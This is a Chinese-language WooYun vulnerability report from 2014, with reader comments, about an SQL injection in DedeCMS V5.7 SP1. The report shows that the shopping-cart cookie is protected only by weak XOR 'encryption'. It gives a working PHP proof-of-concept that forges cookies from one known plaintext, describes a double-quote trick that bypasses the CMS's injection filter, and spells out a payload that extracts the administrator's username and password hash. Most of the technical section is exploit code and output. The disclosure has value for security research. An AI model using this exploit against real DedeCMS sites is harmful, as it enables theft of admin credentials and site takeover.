当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(92) 关注此漏洞

缺陷编号: WooYun-2014-71655

漏洞标题: DedeCMS-V5.7-SP1(2014-07-25)sql注入+新绕过思路

相关厂商: Dedecms

漏洞作者: roker

提交时间: 2014-08-11 11:24

公开时间: 2014-11-09 11:26

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

22人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-11: 细节已通知厂商并且等待厂商处理中
2014-08-14: 厂商已经确认,细节仅向厂商公开
2014-08-17: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-10-08: 细节向核心白帽子及相关领域专家公开
2014-10-18: 细节向普通白帽子公开
2014-10-28: 细节向实习白帽子公开
2014-11-09: 细节向公众公开

简要描述:

rt................好紧张。。

详细说明:

让我们来看看这个文件

/include/shopcar.class.php

提取关键加解密函数代码

code 区域
function enCrypt($txt)
{
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode($this->setKey($tmp));
}

//解密接口字符串
function deCrypt($txt)
{
$txt = $this->setKey(base64_decode($txt));
$tmp = '';
for ($i = 0; $i < strlen($txt); $i++)
{
$tmp .= $txt[$i] ^ $txt[++$i];
}
return $tmp;
}

//处理加密数据
function setKey($txt)
{
global $cfg_cookie_encode;
$encrypt_key = md5(strtolower($cfg_cookie_encode));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}

//串行化数组
function enCode($array)
{
$arrayenc = array();
foreach($array as $key => $val)
{
$arrayenc[] = $key.'='.urlencode($val);
}
return implode('&', $arrayenc);
}

//创建加密的_cookie
function saveCookie($key,$value)
{
if(is_array($value))
{
$value = $this->enCrypt($this->enCode($value));
}
else
{
$value = $this->enCrypt($value);
}
setcookie($key,$value,time()+36000,'/');
}

//获得解密的_cookie
function getCookie($key)
{
if(isset($_COOKIE[$key]) && !empty($_COOKIE[$key]))
{
return $this->deCrypt($_COOKIE[$key]);
}
}
}



是不是感觉很熟悉?看这里-->http://**.**.**.**/bugs/wooyun-2014-062391

一样的算法,只不过将microtime 替换成了 md5(rand(0, 32000)),按照 海贼牛的方法的话,我们需要暴力 穷举32^36次,这数太大,我不敢算,我们真的需要暴力破解么??

直接来看看 解密函数吧。



code 区域
function deCrypt($txt)
{
$txt = $this->setKey(base64_decode($txt));
$tmp = '';
for ($i = 0; $i < strlen($txt); $i++)
{
$tmp .= $txt[$i] ^ $txt[++$i];
}
return $tmp;
}

//处理加密数据
function setKey($txt)
{
global $cfg_cookie_encode;
$encrypt_key = md5(strtolower($cfg_cookie_encode));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}





现在 我们假设 密文为 ABCDEF....(base_decode后的) 。通过上述代码 可以发现 解密函数中 参与 运算的是 key的MD5值。我们假定为 K1 k2 k3 k4 k5 k6........k32.



首先带入 setKey函数,

code 区域
A^K1 ->M1 

B^K2 ->M2

C^K3 ->M3

D^K4 ->M4



然后将 M1~6 带入decrypt后的操作。

code 区域
M2^M1 ->a 

M4^M3 ->b

M6^M5 ->c



abc 即为 我们的明文

对于异或算法 我们知道 它有以下特性

code 区域
H^I = J  ->  H^J=I
(H^I)^J=H^I^J



密文A B 与明文 a 所对应的的关系为。

code 区域
A^K1 = M1  M1^M2 = a   B^K2 = M2



联立得(尼玛像是在做奥数。。) A^K1^B^K2 =a 即 A^B^a = K1^K2,同理可得到 C^D^b = K3^K4 E^F^c=K5^K6

k1~32是 密匙k的32位 md5值,是固定不变的。



那么 得到如下 如下关系: 任何密文的i ,i+1 位 与其所对应的的 明文的 i 位 做异或运算(i为偶数) 结果是一个固定不变的值(Ki^Ki+1)



so,我们只需要一个已知明文的密文就可以 构造任意密文了。



poc如下,

code 区域
function dede_cracked($Expressly,$Ciphertext,$str,$way){
$Ciphertext = base64_decode($Ciphertext);
if ($way=="descrypt"){
$text2="";
$str=base64_decode($str);
}else{
$text2="a";
}

$j=0;

$s=0;

for($i=0;$i<strlen($str);$i++,$s++){

if($j==32){$j=0;$s=0;}

$tmp=$Ciphertext[$j]^$Ciphertext[$j+1];

$tmp=$tmp^$Expressly[$s];

$tmp=$tmp^$str[$i];
if ($way=="descrypt"){
$text1=$tmp^$str[++$i];
}
else{
$text1=$tmp^$text2;
}
$xxoo =$xxoo.$text2.$text1;

$j=$j+2;
}

if ($way=="descrypt"){
echo $xxoo;}
else{
echo base64_encode($xxoo);}
}



在 plus/carbuyaction.php

code 区域
foreach($Items as $key=>$val)
{
$val['price'] = str_replace(",","",$val['price']);
$dsql->ExecuteNoneQuery("INSERT INTO `#@__shops_products` (`aid`,`oid`,`userid`,`title`,`price`,`buynum`)
VALUES ('$val[id]','$OrdersId','$userid','$val[title]','$val[price]','$val[buynum]');");
}



将解密后的数据带入了数据库。



本以为到这里就结束了,然而,dede自带的防护sql注入的函数做了更新,以前的@,char都不能用了。

想了很久终于想到了办法,

我们可以用双引号来包裹 ' 再用逗号分隔 两个相连的 ''。

code 区域
看到函数里的这段代码你就知道为什么我要这么做了。。直接看我的下面的sql语句可能会更形象~
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE
OR strpos($clean,'$s$$s$')!== FALSE)



首先,注册用户,将一个商品加入购物车,来到plus/car.php页面,此时查看cookie



Shop_De开头的和 DedeUserID就是我们所需要的~

调用poc里的函数

得到 最终playload

code 区域
dede_cracked("id=108&price=11&units=&buynum=1&title=aa","AWgGMlFrAzNUMAFqWyYBdFV0UmgHNFI3Vm0BMwUwBC4AdQc5CmRVIAcgBWtfNVBzATBVcwApAW8FdlE%2FWWBVaAEnBiJRPwN2VGwBN1s9AWVVZw==","id=',\"'&title=\" or ',','8',(SELECT concat(uname,0x23,pwd) FROM dede_admin LIMIT 1),',','1')#","encrypt");



修改cookie,提交订单

可以看到mysql的执行日志

code 区域
INSERT INTO `dede_shops_products` (`aid`,`oid`,`userid`,`title`,`price`,`buynum`)
VALUES ('',"'','wooyuni','8','" or ',','8',(SELECT concat(uname,0x23,pwd) FROM dede_admin LIMIT 1),',','1')#','0.00','0')



查看商品,ok,数据出来了~

1.jpg



漏洞证明:

1.jpg

修复方案:

你们更专业~~

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-08-14 15:22

厂商回复:

已经修复,感谢提交

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2014-08-11 11:25 | 泳少 ( 普通白帽子 | Rank:248 漏洞数:82 | ★ 梦想这条路踏上了,跪着也要...)
    0

    mark

  2. 2014-08-11 11:26 | pigzhu ( 路人 | Rank:4 漏洞数:4 | 网络共享!)
    0

    mark

  3. 2014-08-11 11:26 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    火了。

  4. 2014-08-11 11:36 | scanf ( 核心白帽子 | Rank:1469 漏洞数:207 | 。)
    0

    前排啊

  5. 2014-08-11 11:36 | 迦南 ( 路人 | Rank:14 漏洞数:11 | 我不是玩黑,我就是认真)
    0

    我也紧张啊

  6. 2014-08-11 11:36 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    mark

  7. 2014-08-11 11:37 | wanglaojiu ( 普通白帽子 | Rank:170 漏洞数:40 | 道生一,一生二,二生三,三生万物,万物负...)
    0

    顶起

  8. 2014-08-11 11:48 | onfocus ( 路人 | Rank:11 漏洞数:2 | php)
    0

    我几个站都是用的dede,好紧张。。。

  9. 2014-08-11 11:49 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

    完美利用否?

  10. 2014-08-11 11:53 | 浩天 认证白帽子 ( 普通白帽子 | Rank:925 漏洞数:80 | 哈!躁起来!)
    0

    在线更新 补丁才是 这个日期,官方还是6月的补丁

  11. 2014-08-11 11:55 | p4ssw0rd ( 普通白帽子 | Rank:306 漏洞数:92 | 不作死就不会死)
    0

    mark

  12. 2014-08-11 12:58 | 小威 ( 普通白帽子 | Rank:531 漏洞数:86 | 活到老,学到老!)
    0

    好紧张

  13. 2014-08-11 14:47 | P w ( 实习白帽子 | Rank:72 漏洞数:14 | -这家伙很懒,什么都没有留下。其实我真的很...)
    0

    好紧张

  14. 2014-08-11 16:57 | Deep ( 路人 | Rank:1 漏洞数:1 | 一个小白.想要变小黑.)
    0

    make

  15. 2014-08-12 15:19 | 冉冉升起 ( 路人 | Rank:14 漏洞数:7 | ...)
    0

    hello roker Hacker

  16. 2014-08-12 15:23 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    @冉冉升起 师尊昵豪啊

  17. 2014-08-12 20:29 | 我还爱 ( 路人 | Rank:0 漏洞数:1 | 虚心学习)
    0

    mark

  18. 2014-08-14 01:32 | lck丶 ( 路人 | Rank:6 漏洞数:2 | 求大牛拿0day砸死)
    0

    mark

  19. 2014-08-14 03:00 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    @疯狗 来个审核啊。。更新了下,上次很多没写好

  20. 2014-08-14 19:22 | 魂淡、 ( 路人 | Rank:17 漏洞数:2 | 么么哒)
    0

    dede被日破了。。。

  21. 2014-09-02 15:04 | 小庄 ( 路人 | Rank:10 漏洞数:2 )
    0

    看不到内容啊~

  22. 2014-09-04 11:09 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    1

    我去,太给力了

  23. 2014-10-15 14:17 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    1

    我去,太给力了

  24. 2014-11-06 10:34 | 三十度 ( 路人 | Rank:0 漏洞数:1 | 本屌精通各种花式撸管,装逼32式炉火纯青。...)
    0

    台屌

  25. 2014-11-09 13:32 | Damo ( 普通白帽子 | Rank:209 漏洞数:31 | 我只是喜欢看加菲猫而已ส็็็็็็็็...)
    1

    兄台好屌

  26. 2014-11-10 16:05 | laoyao ( 路人 | Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)
    1

登录后才能发表评论,请先 登录